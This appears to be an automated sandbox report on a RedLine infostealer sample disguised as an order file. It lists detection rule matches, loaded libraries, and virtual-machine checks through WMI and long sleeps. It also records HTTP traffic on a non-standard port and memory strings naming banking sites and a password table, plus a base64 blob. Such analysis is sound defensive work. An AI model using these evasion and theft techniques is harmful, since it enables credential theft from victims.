Source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Order 20201103.exe

Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0271E7B0	0_2_0271E7B0
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0271DC90	0_2_0271DC90
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0569D5C8	0_2_0569D5C8
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_056996D0	0_2_056996D0
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0569DAD0	0_2_0569DAD0
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_05694508	0_2_05694508
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_0569C420	0_2_0569C420
Source: C:\Users\user\Desktop\Order 20201103.exe	Code function: 0_2_05691210	0_2_05691210

Source: Order 20201103.exe, 00000000.00000002.1096054991.000000000093E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Order 20201103.exe
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Order 20201103.exe
Source: Order 20201103.exe, 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs Order 20201103.exe
Source: Order 20201103.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs Order 20201103.exe

Source: Order 20201103.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Order 20201103.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Order 20201103.exe, type: SAMPLE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: Order 20201103.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/45@1/2

Source: C:\Users\user\Desktop\Order 20201103.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6428:120:WilError_03

Source: C:\Users\user\Desktop\Order 20201103.exe

File created: C:\Users\user\AppData\Local\Temp\tmpBA52.tmp

Jump to behavior

Source: Order 20201103.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Order 20201103.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\Order 20201103.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp9C62.tmp.0.dr, tmpF37A.tmp.0.dr, tmp9C61.tmp.0.dr, tmpF36A.tmp.0.dr, tmp9C50.tmp.0.dr, tmp2C02.tmp.0.dr, tmp9C73.tmp.0.dr, tmpF39C.tmp.0.dr, tmp2C03.tmp.0.dr, tmp9C51.tmp.0.dr, tmp9C3F.tmp.0.dr, tmpF39B.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Order 20201103.exe	Virustotal: Detection: 86%
Source: Order 20201103.exe	ReversingLabs: Detection: 86%

Source: unknown	Process created: C:\Users\user\Desktop\Order 20201103.exe "C:\Users\user\Desktop\Order 20201103.exe"
Source: C:\Users\user\Desktop\Order 20201103.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Order 20201103.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Order 20201103.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Order 20201103.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 16383
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 16383 -> 49685

Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Order 20201103.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Order 20201103.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\Order 20201103.exe	Memory allocated: 26D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Memory allocated: 2770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Memory allocated: 4770000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe	Window / User API: threadDelayed 1156			Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Window / User API: threadDelayed 3894			Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe TID: 6724	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe TID: 6684	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe TID: 6568	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: tmpD385.tmp.0.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: tmpD385.tmp.0.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: tmpD385.tmp.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: tmpD385.tmp.0.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: Order 20201103.exe, 00000000.00000002.1096314294.0000000000A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmpD385.tmp.0.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: tmpD385.tmp.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
